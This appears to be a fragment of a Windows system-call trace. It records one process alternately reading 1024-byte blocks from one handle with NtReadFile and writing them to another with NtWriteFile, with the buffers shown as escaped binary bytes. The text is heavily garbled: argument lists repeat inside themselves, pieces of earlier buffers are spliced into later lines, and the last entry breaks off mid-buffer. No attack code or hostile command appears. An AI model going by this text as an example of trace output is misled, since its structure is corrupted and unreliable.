"\0\1\317\313\362~v},\301);\26\335\245\325\317\3426\333\362\3056\34\376l!\3544U\236\271\233-ON\367\13\203\223S$pL-\210)\13k\254\240\22\345\330u2)\277#\306\3671Y17^6x\17L="\314I\353\327(e>\17(\315/\23p#\315\333\304\35\377\313\307\370>6\2309j\33[,w\31M\310H\240'8d\242\264\254\26\246\13\277\245\262\20\224\321\240\207\13\211VZ\22\311Ze\274]\3533\33A1.\227`\21nc\177I\26Whr@\257lw\216\257h\341\362e4c*r\372mz;oM\17G\233L\241\37_o\371\23+\26\355,B\310Q\346I@\2576\23631;z1\267\362x8?r=v[Zk1M_sIW\263",\275''h,ICYCE_\27042gFTXD^\H+\21xP\\11-'\36\31\241\344.\20\344&\324!\330{\12+.\322;\3471\3223\10\367\274p#M\35\17u?0~"\21\255[.\256v1\243;r1\351ip\2051\272j5\6\276f\25\263e\24\264>a/\225C&\226~d\262!\276\22\25\21\12\34;.|\322\370\14>\3302q5\2053\274\254\356\35:o:\327\23.\33Z;, ) ,\275''h,ICYCE_\27042gFTXD^\H+\21xP\\11-'\36\31\241\344.\20\344&\324!\330{\12+.\322;\3471\3223\10\367\274p#M\35\17u?0~256\21\271\25vK (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\1\317\313\362~v},\301);\26\335\245\325\317\3426\333\362\3056\34\376l!\3544U\236\271\233-ON\367\13\203\223S$pL-\210)\13k\254\240\22\345\330u2)\277#\306\3671Y17^6x\17L="\314I\353\327(e>\17(\315/\23p#\315\333\304\35\377\313\307\370>6\2309j\33[,w\31M\310H\240'8d\242\264\254\26\246\13\277\245\262\20\224\321\240\207\13\211VZ\22\311Ze\274]\3533\33A1.\227`\21nc\177I\26Whr@\257lw\216\257h\341\362e4c*r\372mz;oM\17G\233L\241\37_o\371\23+\26\355,B\310Q\346I@\2576\23631;z1\267\362x8?r=v[Zk1M_sIW\263",\275''h,ICYCE_\27042gFTXD^\H+\21xP\\11-'\36\31\241\344.\20\344&\324!\330{\12+.\322;\3471\3223\10\367\274p#M\35\17u?0~"\21\255[.\256v1\243;r1\351ip\2051\272j5\6\276f\25\263e\24\264>a/\225C&\226~d\262!\276\22\25\21\12\34;.|\322\370\14>\3302q5\2053\274\254\356\35:o:\327\23.\33Z;, ) , ) == 0x0
 01265  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\211\260\2j.\331\246\345\256\33Q\263\357\246\375\232\2301\304\234\257\340\332#\363\211\255II&\6\211\345\275\159\227\362\370p5\\336i\217\240\307_\355V\2\321\247\235ZSilH\24 \30-\263\30\267\324S\2068\332\233\tn\206JY\36SO\373i\11\1m\305\211\302<,0\246\321\377^\370\276\332\277\202g\226\12[\332\4\25G\276DH@\214\354\245\237r[\215\267s\212\2\24\36\203\351G\20\347\371h\260X\373!\15_&\344#\31@\31\21\316\344J&\340\275\300\251\366\326<\324Wg\244\14?\224w\6\314\327\235\207\310U\20\4\252\255(\203\225\312^~\270\336\340!\6\3527p<\212\13_\255y\27\217\270Y\340\12C\12\356\\27\2131\366\302l\341\257\353\262\301\307\17\247\267V\212\265Xq\267e\25\331"2L\265Q\257d\\37\0\11\257\332\252U\2770\270\214\14 \15\302\202\273\325\265b.\306\200S\203\35X\25\320j\357km\333n\342\251H\215\352sziC\257\230\11\361\7>g\14\354h\214dQ}\7m\270\335\356u[\351.\277\13\325Qf\4\230\374\6\373\225\220\255\264N\337\37#\31\213\315C\37\277\253w\207\200\204\302\210\342\227\36\255\247\344\35\2373VW\277a\12\10\335\27G\6\226k\224:\263["\230\311;\273}\270\230]\244\371cv;T\251\23t6\340\26\251\24>PJu\346d\247\254(\340n\4E\261\2\360\316\204C\330\235\354\215\302?\217\37^;\353\15\313\277\263\341\313\250<\321\13\11\36\273\213n\256\260Y\240\310\310\342\221-\255\224\366\307\31\315\30\341\1\342\232\315x\255;OF\246\361\202\3570`\\266\3432\361\272\372\354\265\241\234\i\332\200\23V\3753=\220\372\372&\355\231j\242\250\0\300WG\17\260D\263\230t", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 2L\265Q\257d\\37\0\11\257\332\252U\2770\270\214\14 \15\302\202\273\325\265b.\306\200S\203\35X\25\320j\357km\333n\342\251H\215\352sziC\257\230\11\361\7>g\14\354h\214dQ}\7m\270\335\356u[\351.\277\13\325Qf\4\230\374\6\373\225\220\255\264N\337\37#\31\213\315C\37\277\253w\207\200\204\302\210\342\227\36\255\247\344\35\2373VW\277a\12\10\335\27G\6\226k\224:\263[ (92, 0, 0, 0, "\211\260\2j.\331\246\345\256\33Q\263\357\246\375\232\2301\304\234\257\340\332#\363\211\255II&\6\211\345\275\159\227\362\370p5\\336i\217\240\307_\355V\2\321\247\235ZSilH\24 \30-\263\30\267\324S\2068\332\233\tn\206JY\36SO\373i\11\1m\305\211\302<,0\246\321\377^\370\276\332\277\202g\226\12[\332\4\25G\276DH@\214\354\245\237r[\215\267s\212\2\24\36\203\351G\20\347\371h\260X\373!\15_&\344#\31@\31\21\316\344J&\340\275\300\251\366\326<\324Wg\244\14?\224w\6\314\327\235\207\310U\20\4\252\255(\203\225\312^~\270\336\340!\6\3527p<\212\13_\255y\27\217\270Y\340\12C\12\356\\27\2131\366\302l\341\257\353\262\301\307\17\247\267V\212\265Xq\267e\25\331"2L\265Q\257d\\37\0\11\257\332\252U\2770\270\214\14 \15\302\202\273\325\265b.\306\200S\203\35X\25\320j\357km\333n\342\251H\215\352sziC\257\230\11\361\7>g\14\354h\214dQ}\7m\270\335\356u[\351.\277\13\325Qf\4\230\374\6\373\225\220\255\264N\337\37#\31\213\315C\37\277\253w\207\200\204\302\210\342\227\36\255\247\344\35\2373VW\277a\12\10\335\27G\6\226k\224:\263["\230\311;\273}\270\230]\244\371cv;T\251\23t6\340\26\251\24>PJu\346d\247\254(\340n\4E\261\2\360\316\204C\330\235\354\215\302?\217\37^;\353\15\313\277\263\341\313\250<\321\13\11\36\273\213n\256\260Y\240\310\310\342\221-\255\224\366\307\31\315\30\341\1\342\232\315x\255;OF\246\361\202\3570`\\266\3432\361\272\372\354\265\241\234\i\332\200\23V\3753=\220\372\372&\355\231j\242\250\0\300WG\17\260D\263\230t", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01266  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "M+\10?}x<\220\332Z\373\31\37&3O\27\332\236\205\10\251j\23,,Z>5\303"\164\215\326zZ"\205(E\303Y\325,0o\317\3\343\3340:3\17\235>?\26;8\211H\35\31\264\37\32\322\251 &\366\350)"T\310Z(\355 |\311@193\3766\376\274\351\32\323\314\34\357\35\350\20\311\35:'#!\367\256\2706'\262n\324:\240\377\354\314-\255\342\271\352$6\347\276l=\247\351\37\355\177=\206 \26\315\34\365%\277\237$2\376\277\250@\241\374\355-\3046\223m!\225\7a]4=\322]}$B\33\27\227\355\36\232\337T \250\332s\316\363\306I*Y\24M,;0\21\2671\242*\326\249\16\2\372"\3776\34\27\351\314(u``/\3,\327\263&,\0g\232\335.\36*\3603\12F,\276\2472\ \242>\267\253\331k;\315g\35\272\33\346\375!\362'69 \242\27{\375+b\13 \2702o\20%g_F_>\217\274o\16\232\225\215\31N#p3#\211u\345';x(\274\212\334\306g|\330\366\20\20\324#~\3\203\271\7\0\367}K-\226P9\12\3374\366$\7f!\6\22*\32\361\246xm\220?b\331\310\23\266\30\275\367\310\274\341`H2\3760\231*Y\366\261\4$\324V>D\250p(\2>\252\350\215/o1\362Xq\334)\2017\350;\271\3778}j?\373\25\336\26\37"#V(N$\255\357(\301\347H\321\322\305-\3a\362\220\264\360v+0\2359:)}!Y\273\25\271~\36F\250n\33&!\207\346\2113\365X\247).\357 \357\371#\265\331\242\327\232xZ\2738\372\272\33\207]\271\36\265#\243p\37\207af", ) \164\215\326zZ303\376\267m\232\371c.\205!B\312#\25 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "M+\10?}x<\220\332Z\373\31\37&3O\27\332\236\205\10\251j\23,,Z>5\303"\164\215\326zZ"\205(E\303Y\325,0o\317\3\343\3340:3\17\235>?\26;8\211H\35\31\264\37\32\322\251 &\366\350)"T\310Z(\355 |\311@193\3766\376\274\351\32\323\314\34\357\35\350\20\311\35:'#!\367\256\2706'\262n\324:\240\377\354\314-\255\342\271\352$6\347\276l=\247\351\37\355\177=\206 \26\315\34\365%\277\237$2\376\277\250@\241\374\355-\3046\223m!\225\7a]4=\322]}$B\33\27\227\355\36\232\337T \250\332s\316\363\306I*Y\24M,;0\21\2671\242*\326\249\16\2\372"\3776\34\27\351\314(u``/\3,\327\263&,\0g\232\335.\36*\3603\12F,\276\2472\ \242>\267\253\331k;\315g\35\272\33\346\375!\362'69 \242\27{\375+b\13 \2702o\20%g_F_>\217\274o\16\232\225\215\31N#p3#\211u\345';x(\274\212\334\306g|\330\366\20\20\324#~\3\203\271\7\0\367}K-\226P9\12\3374\366$\7f!\6\22*\32\361\246xm\220?b\331\310\23\266\30\275\367\310\274\341`H2\3760\231*Y\366\261\4$\324V>D\250p(\2>\252\350\215/o1\362Xq\334)\2017\350;\271\3778}j?\373\25\336\26\37"#V(N$\255\357(\301\347H\321\322\305-\3a\362\220\264\360v+0\2359:)}!Y\273\25\271~\36F\250n\33&!\207\346\2113\365X\247).\357 \357\371#\265\331\242\327\232xZ\2738\372\272\33\207]\271\36\265#\243p\37\207af", ) T\310Z(\355 |\311@193\3766\376\274\351\32\323\314\34\357\35\350\20\311\35:'#!\367\256\2706'\262n\324:\240\377\354\314-\255\342\271\352$6\347\276l=\247\351\37\355\177=\206 \26\315\34\365%\277\237$2\376\277\250@\241\374\355-\3046\223m!\225\7a]4=\322]}$B\33\27\227\355\36\232\337T \250\332s\316\363\306I*Y\24M,;0\21\2671\242*\326\249\16\2\372 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "M+\10?}x<\220\332Z\373\31\37&3O\27\332\236\205\10\251j\23,,Z>5\303"\164\215\326zZ"\205(E\303Y\325,0o\317\3\343\3340:3\17\235>?\26;8\211H\35\31\264\37\32\322\251 &\366\350)"T\310Z(\355 |\311@193\3766\376\274\351\32\323\314\34\357\35\350\20\311\35:'#!\367\256\2706'\262n\324:\240\377\354\314-\255\342\271\352$6\347\276l=\247\351\37\355\177=\206 \26\315\34\365%\277\237$2\376\277\250@\241\374\355-\3046\223m!\225\7a]4=\322]}$B\33\27\227\355\36\232\337T \250\332s\316\363\306I*Y\24M,;0\21\2671\242*\326\249\16\2\372"\3776\34\27\351\314(u``/\3,\327\263&,\0g\232\335.\36*\3603\12F,\276\2472\ \242>\267\253\331k;\315g\35\272\33\346\375!\362'69 \242\27{\375+b\13 \2702o\20%g_F_>\217\274o\16\232\225\215\31N#p3#\211u\345';x(\274\212\334\306g|\330\366\20\20\324#~\3\203\271\7\0\367}K-\226P9\12\3374\366$\7f!\6\22*\32\361\246xm\220?b\331\310\23\266\30\275\367\310\274\341`H2\3760\231*Y\366\261\4$\324V>D\250p(\2>\252\350\215/o1\362Xq\334)\2017\350;\271\3778}j?\373\25\336\26\37"#V(N$\255\357(\301\347H\321\322\305-\3a\362\220\264\360v+0\2359:)}!Y\273\25\271~\36F\250n\33&!\207\346\2113\365X\247).\357 \357\371#\265\331\242\327\232xZ\2738\372\272\33\207]\271\36\265#\243p\37\207af", ) #V(N$\255\357(\301\347H\321\322\305-\3a\362\220\264\360v+0\2359:)}!Y\273\25\271~\36F\250n\33&!\207\346\2113\365X\247).\357 \357\371#\265\331\242\327\232xZ\2738\372\272\33\207]\271\36\265#\243p\37\207af", ) == 0x0
 01267  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ",\202l\334\212\244d,\325\354\245\21F\222\6U\320\225%\332\266\363Q?c:\4\266\12\255i\21.h\7\265w\310\274\210-\306g|\253o\205\375\330\346\322L%b\276\231\254ob\303vi\350\325\232g~\334h\236*\34\337\205\207N\17\335\30\27\246\21\225\37\315\310\264U\264\224\210p\302Z\337'\223\26i\206\34`\343\372\231\342\371&\362u\373\361\207\342s`\251b\302\7\3674q\355/\237\16\201\20\362<>\34\1777{#\256\217\367\336\244\205}\263\11\217\27T\241\330%\320\205x';6\355\345\353\313\315J\301y\236\250\320\321\356\244M\232\347'`\23c\35\301\365\325\213\262>\310\2025\310%\317=\361\263\1q|\23\335iI\2170A\26\26YVfmi@\272$r\207\305h\300\321\226\211\215\2210\255\204.E'\253\255\36\337\351W=:\242\27l\210\33\353\337W\257\6\246@\320\34R\20\265\212\235)\15t.\340|\365\343\276\11Y\316$\36\357\12w\223\352+>\335\231O\35\351\3548)6\240\317\11\240\355&\26\206%\271\345+\66\250\330\366g\254\27\306V\201@\336]\241\20r\21\340]\240\375co\207e \262?\365\370\262\366!!\12\215e\361C\17lB\311(\310\2p.#Y\331\311\227abk\235\35|\223\254Q\226\240\253\275\14\30M\216\335\213\15\360\350T\276\320\306\263E\253\370\34\322\345ht\206\317\203\37 v\2\7'\365\372\201\222\365\1\207\207b\214\16\374f\30s\337\224\303h\311\327\13\241I#\241\372V\274y\317\337\30\37[\216\361\246\334\17.\26\334\267IS\10[\343m~\317\24\236\344&\334\227\225\240\115\347\370Oz\200\347\373\224\267\207Xpy\240>\0n~\14\203\310Uw\235\177\230\331\252\213\275\255\375\20\365"B\217\241", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) B\217\241", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01268  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\15.\246|5\26\23\240\227<\260N\277\30\177\200=\253\36\22\311\225"\253,\251\14\375\34\346(&\361+#g/\257\272w3\271\355\17\37677\23\37093\346>0\311\34\22\314\234p\373\335\246\366\3579\213\2529\377z\201=l\221\230\316,\227v=\373s\2628Z;~\237\265S\33l\226j; \1\21\352s\254j\38!\241m4--;\13\360F!$\265\270C3\271\240\270\364\302?=\207\227A:?\33\370W1.%/\24\350\252"U \250.\320N{\11\354I6\2737C8\271;\3709\265\371E\336\31\36\17!\261\262\357(%\255c\14).xz\246\337\34\353a2\3642%\326t88\263;b4\267a\12\364fd\37\337\336\252} \254x*\265)\p/U,/\26\263\20\267\34t>\226:\321\25`\2351\336\10\317\234\21\375V\352\1#\251\266\263\347\257\242\257\352\34~}\212\30|\307\215\332T5"\304\3706[\34\2268\37\33\202=9\214\233{\265\2/\215\205b+\212\210a*\214\5%M4\33\17R0\223\5+9-\3V.o\327e\15\235\247\234\344\15$d\3\315\275t(5+\260|\177%\210\3651\336\270q5\2g3\236)Q%\375>1\37v\24\336\25\34K5r\314\257\13e<\31l?\4\305d\256\22Y\332`\277(\362w.X\2728:m\301\354\233:}\223up#r\313YD:i\250\245\364\11\242-/Q,g\2600\261\3126lL\227mQ\16\372y\377;\34\31\366\324\312\243\254Cj-\255a\10\11";z\352h\15,\360's\360 5\367-[\317\273\266\260\260\261Z\225Y\10\2175h4;`3o\377>}\16oyllR\362'v\367"1\366!\241X\372-l\260\270\203", ) \253,\251\14\375\34\346(&\361+#g/\257\272w3\271\355\17\37677\23\37093\346>0\311\34\22\314\234p\373\335\246\366\3579\213\2529\377z\201=l\221\230\316,\227v=\373s\2628Z;~\237\265S\33l\226j; \1\21\352s\254j\38!\241m4--;\13\360F!$\265\270C3\271\240\270\364\302?=\207\227A:?\33\370W1.%/\24\350\252 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\15.\246|5\26\23\240\227<\260N\277\30\177\200=\253\36\22\311\225"\253,\251\14\375\34\346(&\361+#g/\257\272w3\271\355\17\37677\23\37093\346>0\311\34\22\314\234p\373\335\246\366\3579\213\2529\377z\201=l\221\230\316,\227v=\373s\2628Z;~\237\265S\33l\226j; \1\21\352s\254j\38!\241m4--;\13\360F!$\265\270C3\271\240\270\364\302?=\207\227A:?\33\370W1.%/\24\350\252"U \250.\320N{\11\354I6\2737C8\271;\3709\265\371E\336\31\36\17!\261\262\357(%\255c\14).xz\246\337\34\353a2\3642%\326t88\263;b4\267a\12\364fd\37\337\336\252} \254x*\265)\p/U,/\26\263\20\267\34t>\226:\321\25`\2351\336\10\317\234\21\375V\352\1#\251\266\263\347\257\242\257\352\34~}\212\30|\307\215\332T5"\304\3706[\34\2268\37\33\202=9\214\233{\265\2/\215\205b+\212\210a*\214\5%M4\33\17R0\223\5+9-\3V.o\327e\15\235\247\234\344\15$d\3\315\275t(5+\260|\177%\210\3651\336\270q5\2g3\236)Q%\375>1\37v\24\336\25\34K5r\314\257\13e<\31l?\4\305d\256\22Y\332`\277(\362w.X\2728:m\301\354\233:}\223up#r\313YD:i\250\245\364\11\242-/Q,g\2600\261\3126lL\227mQ\16\372y\377;\34\31\366\324\312\243\254Cj-\255a\10\11";z\352h\15,\360's\360 5\367-[\317\273\266\260\260\261Z\225Y\10\2175h4;`3o\377>}\16oyllR\362'v\367"1\366!\241X\372-l\260\270\203", ) \304\3706[\34\2268\37\33\202=9\214\233{\265\2/\215\205b+\212\210a*\214\5%M4\33\17R0\223\5+9-\3V.o\327e\15\235\247\234\344\15$d\3\315\275t(5+\260|\177%\210\3651\336\270q5\2g3\236)Q%\375>1\37v\24\336\25\34K5r\314\257\13e<\31l?\4\305d\256\22Y\332`\277(\362w.X\2728:m\301\354\233:}\223up#r\313YD:i\250\245\364\11\242-/Q,g\2600\261\3126lL\227mQ\16\372y\377;\34\31\366\324\312\243\254Cj-\255a\10\11 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\15.\246|5\26\23\240\227<\260N\277\30\177\200=\253\36\22\311\225"\253,\251\14\375\34\346(&\361+#g/\257\272w3\271\355\17\37677\23\37093\346>0\311\34\22\314\234p\373\335\246\366\3579\213\2529\377z\201=l\221\230\316,\227v=\373s\2628Z;~\237\265S\33l\226j; \1\21\352s\254j\38!\241m4--;\13\360F!$\265\270C3\271\240\270\364\302?=\207\227A:?\33\370W1.%/\24\350\252"U \250.\320N{\11\354I6\2737C8\271;\3709\265\371E\336\31\36\17!\261\262\357(%\255c\14).xz\246\337\34\353a2\3642%\326t88\263;b4\267a\12\364fd\37\337\336\252} \254x*\265)\p/U,/\26\263\20\267\34t>\226:\321\25`\2351\336\10\317\234\21\375V\352\1#\251\266\263\347\257\242\257\352\34~}\212\30|\307\215\332T5"\304\3706[\34\2268\37\33\202=9\214\233{\265\2/\215\205b+\212\210a*\214\5%M4\33\17R0\223\5+9-\3V.o\327e\15\235\247\234\344\15$d\3\315\275t(5+\260|\177%\210\3651\336\270q5\2g3\236)Q%\375>1\37v\24\336\25\34K5r\314\257\13e<\31l?\4\305d\256\22Y\332`\277(\362w.X\2728:m\301\354\233:}\223up#r\313YD:i\250\245\364\11\242-/Q,g\2600\261\3126lL\227mQ\16\372y\377;\34\31\366\324\312\243\254Cj-\255a\10\11";z\352h\15,\360's\360 5\367-[\317\273\266\260\260\261Z\225Y\10\2175h4;`3o\377>}\16oyllR\362'v\367"1\366!\241X\372-l\260\270\203", ) 1\366!\241X\372-l\260\270\203", ) == 0x0
 01269  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\12\320Nb\304.\275\254\\317A\276\373U\250\324\363\370\376\370\30r\214\223\211B\205Xy\250\302\326T-,4\261\215\355\324\327\330\330\177f\271*\205!{#?\252\203\355\262=\240\330\343\360\372\236\224\376#\21\251\346\30%\354\3219\335.j&\310\226\302vz=\377\372\2527 \227\12\355\305\211\242\214\37\3663^;\362d\236\363\240\376A\313\344\356\204\245p\37\11\364$\2001U\303\360\272^\330G\305\305\202\200\301]\204\203kbY\275oqj\213;\260\177\343\270)\10j,\\15\243U\364"IM\373\20\362'x=\205xU\22\276\307[\177\367\231\7~\336&\355\354}8\25\4w.\217\265\245\14-\372\373\11\345\16\233\373\222\207\335\266Z\333\274\26(\263\260H\321\320\360\344(\366\230\4\313\321\14\252\252\306?\355\353a-\33p\240\25\226N\240\332~\230,?\234\211Rq\14\377f$\210Z\272\2201\5e\323h\355\332\337\242\242%\2560\24\350f@\342\303\243\23u\3\321\32z\210\253\255\313]\0\236v\0\247s\323\243\347\330\260\13\321c"e\321\325c\276\350\370\341\365\334\315|\374\2j\360\227\232!\31<:v\334\0\216\343~\231\274\32\234\344~\251\203\36y\311\276y\261\204\257\31\271\232\27\0\300C\203\210\5\340W\303#v\351@\333\256CD\352\377\35M\275_\373\7\-\363\316hl?\315\6_\202>\355\221V\314\340cF\344\0\4\265\202\370\341m\0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) IM\373\20\362'x=\205xU\22\276\307[\177\367\231\7~\336&\355\354}8\25\4w.\217\265\245\14-\372\373\11\345\16\233\373\222\207\335\266Z\333\274\26(\263\260H\321\320\360\344(\366\230\4\313\321\14\252\252\306?\355\353a-\33p\240\25\226N\240\332~\230,?\234\211Rq\14\377f$\210Z\272\2201\5e\323h\355\332\337\242\242%\2560\24\350f@\342\303\243\23u\3\321\32z\210\253\255\313]\0\236v\0\247s\323\243\347\330\260\13\321c (92, 0, 0, 0, "\12\320Nb\304.\275\254\\317A\276\373U\250\324\363\370\376\370\30r\214\223\211B\205Xy\250\302\326T-,4\261\215\355\324\327\330\330\177f\271*\205!{#?\252\203\355\262=\240\330\343\360\372\236\224\376#\21\251\346\30%\354\3219\335.j&\310\226\302vz=\377\372\2527 \227\12\355\305\211\242\214\37\3663^;\362d\236\363\240\376A\313\344\356\204\245p\37\11\364$\2001U\303\360\272^\330G\305\305\202\200\301]\204\203kbY\275oqj\213;\260\177\343\270)\10j,\\15\243U\364"IM\373\20\362'x=\205xU\22\276\307[\177\367\231\7~\336&\355\354}8\25\4w.\217\265\245\14-\372\373\11\345\16\233\373\222\207\335\266Z\333\274\26(\263\260H\321\320\360\344(\366\230\4\313\321\14\252\252\306?\355\353a-\33p\240\25\226N\240\332~\230,?\234\211Rq\14\377f$\210Z\272\2201\5e\323h\355\332\337\242\242%\2560\24\350f@\342\303\243\23u\3\321\32z\210\253\255\313]\0\236v\0\247s\323\243\347\330\260\13\321c"e\321\325c\276\350\370\341\365\334\315|\374\2j\360\227\232!\31<:v\334\0\216\343~\231\274\32\234\344~\251\203\36y\311\276y\261\204\257\31\271\232\27\0\300C\203\210\5\340W\303#v\351@\333\256CD\352\377\35M\275_\373\7\-\363\316hl?\315\6_\202>\355\221V\314\340cF\344\0\4\265\202\370\341m\0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01270  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\343&\7\353!\33\353,h98F''\17#4p=$d\336\235)\345>=\324\372\376-K\364\312L"\376%\322\32\377!.W\34=\244x\274#OD\2208`\333j\3712\237?\321A\3718\266\361;\277\334\31\251<\24\245\4,\344'\256\346*\251\17\226.:\350\2551z\277\35t+\6/&!i\233q}+mM\235\5\14?$5N# \305m\245\0]\267=\363>>~q\5*Y>5?{\33\30N\275"\234c\377@\30\15\336\226\30su\313z\346\25\347&-\3025-t`'gp\273\31ztZ#\270uh\372\32\266\370\337DBF\334\23\345\7?]\343\15J}\333\3510\253\4P.q\270\31O\351\317\266\36P\270<\273\23c\2749\277\310;U\2148T\23^g\26\265\262\0\354\33\362\277\13!z\34$\261b\3\344\276b\267h]>\10P+\26\213(\240.\332_\23\355\21\303\27\331$v\109\36\27\30i.~d\5n/\0E2f\373E)\22\350\11\24\17+\301\216\36\24Q.\313i`\24#\14\32.>\304@\34+(d\07\264\112\243\12=\24\138\24nU9v1\376\23\15\241.\33\204O\11u\300!x/\4~*\207&\331\32a0)d3\3e>\31\234\212\264\261\2721\247\223\276\15\267\202\16\305y\207|G\350\17\232\216\0\34\307R\21\35\222\31@\3269\235\230\27\250\231\20\2618\2661\22\2722N\301\2032\216\10|\256\363\310\23\217\1=C\3171\353\22P\236\30\7\227.wW\353\\245O?\313|\276o\37P\1\214\210U%\366G\221]*\357X-\341[0\233\350G4\320B7\310M:\300H=\2129\223o\35\17n \361B?\320%KR(\16[+\374M\34\3330D2\16", ) \376%\322\32\377!.W\34=\244x\274#OD\2208`\333j\3712\237?\321A\3718\266\361;\277\334\31\251<\24\245\4,\344'\256\346*\251\17\226.:\350\2551z\277\35t+\6/&!i\233q}+mM\235\5\14?$5N# \305m\245\0]\267=\363>>~q\5*Y>5?{\33\30N\275 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\343&\7\353!\33\353,h98F''\17#4p=$d\336\235)\345>=\324\372\376-K\364\312L"\376%\322\32\377!.W\34=\244x\274#OD\2208`\333j\3712\237?\321A\3718\266\361;\277\334\31\251<\24\245\4,\344'\256\346*\251\17\226.:\350\2551z\277\35t+\6/&!i\233q}+mM\235\5\14?$5N# \305m\245\0]\267=\363>>~q\5*Y>5?{\33\30N\275"\234c\377@\30\15\336\226\30su\313z\346\25\347&-\3025-t`'gp\273\31ztZ#\270uh\372\32\266\370\337DBF\334\23\345\7?]\343\15J}\333\3510\253\4P.q\270\31O\351\317\266\36P\270<\273\23c\2749\277\310;U\2148T\23^g\26\265\262\0\354\33\362\277\13!z\34$\261b\3\344\276b\267h]>\10P+\26\213(\240.\332_\23\355\21\303\27\331$v\109\36\27\30i.~d\5n/\0E2f\373E)\22\350\11\24\17+\301\216\36\24Q.\313i`\24#\14\32.>\304@\34+(d\07\264\112\243\12=\24\138\24nU9v1\376\23\15\241.\33\204O\11u\300!x/\4~*\207&\331\32a0)d3\3e>\31\234\212\264\261\2721\247\223\276\15\267\202\16\305y\207|G\350\17\232\216\0\34\307R\21\35\222\31@\3269\235\230\27\250\231\20\2618\2661\22\2722N\301\2032\216\10|\256\363\310\23\217\1=C\3171\353\22P\236\30\7\227.wW\353\\245O?\313|\276o\37P\1\214\210U%\366G\221]*\357X-\341[0\233\350G4\320B7\310M:\300H=\2129\223o\35\17n \361B?\320%KR(\16[+\374M\34\3330D2\16", ) , ) == 0x0
 01271  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "vu\250\306\3127i\35\310\230|\326\242o\236\26\227\204\34\345.\305?\275\343\330.I\4\254\331\15\202\334p(6\272#\247!\310\10\341\316\11\366\307H\0\32\232"\341\314\7\312\2246\233$\367\317\326+\215Vz[G\236\244\17\355\34\307\367k\241)\13Z\311*F{\30\271?_\211\332A\311\273\342\177\23yh[\355\270\311\226z\33C[\365>\261Nxn\347\275ZX\254u_\313@M?|X\376\263\313\375{\345\243\377\223'\326L\202;\343`\245\307\245j\337!\214=.\204n\232i\347\314\335\26\2\375c\12\206~%\312\226\345\2323\306\30<\325,\213\243\351bB\374\261\315\341\351f1\217\245\361\363\307A\265"\326\230\5\360\326\214\313\265m\321\226"\271Z#\215\363\2263`\274\223`\3347\375\30]\34\265.\36\337\365\254~\317\263\7_\370\365\352St\375G<\263\266\314\366\356\363M\337\261\231\313\237\250\327\210\324\245Z\30[\10\2265{\26\374\1\376\244A\326n\343\340\204p\236\307w\320^iL\360\210\250\36J9\322\2p\252\204/ K\225\2365\256\320\240\345!\352hqr\350\310^\205m\17.\367\0\342\37k^/B1'j-\302I\242\36/\325\322s\214\247h\356\353~y\11%\226\211\311OW\13\13\340b\337\34w\306yj\0\225\264\221\222\235\337o\254Y%\30\345!\22E%\221[\264\265\313j\21\177\6\256\256m\213\216A\254\350\11\313\377\20\267\337p1IQ1:\371\301\356uv\4i3\321W\340~\237\231\300\262\301,\31\247\271\255\33NM*B\35\352\316\325m'\264%\351\177M\270\32\223P\207\7\331ol_\22\352\231y\312J\337\343\7\329\316V<\263\4A\234\23\344\255\277*C\271\244\305Z)\31\356\231\263\354\31\201L\0\275L", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \341\314\7\312\2246\233$\367\317\326+\215Vz[G\236\244\17\355\34\307\367k\241)\13Z\311*F{\30\271?_\211\332A\311\273\342\177\23yh[\355\270\311\226z\33C[\365>\261Nxn\347\275ZX\254u_\313@M?|X\376\263\313\375{\345\243\377\223'\326L\202;\343`\245\307\245j\337!\214=.\204n\232i\347\314\335\26\2\375c\12\206~%\312\226\345\2323\306\30<\325,\213\243\351bB\374\261\315\341\351f1\217\245\361\363\307A\265 (92, 0, 0, 0, "vu\250\306\3127i\35\310\230|\326\242o\236\26\227\204\34\345.\305?\275\343\330.I\4\254\331\15\202\334p(6\272#\247!\310\10\341\316\11\366\307H\0\32\232"\341\314\7\312\2246\233$\367\317\326+\215Vz[G\236\244\17\355\34\307\367k\241)\13Z\311*F{\30\271?_\211\332A\311\273\342\177\23yh[\355\270\311\226z\33C[\365>\261Nxn\347\275ZX\254u_\313@M?|X\376\263\313\375{\345\243\377\223'\326L\202;\343`\245\307\245j\337!\214=.\204n\232i\347\314\335\26\2\375c\12\206~%\312\226\345\2323\306\30<\325,\213\243\351bB\374\261\315\341\351f1\217\245\361\363\307A\265"\326\230\5\360\326\214\313\265m\321\226"\271Z#\215\363\2263`\274\223`\3347\375\30]\34\265.\36\337\365\254~\317\263\7_\370\365\352St\375G<\263\266\314\366\356\363M\337\261\231\313\237\250\327\210\324\245Z\30[\10\2265{\26\374\1\376\244A\326n\343\340\204p\236\307w\320^iL\360\210\250\36J9\322\2p\252\204/ 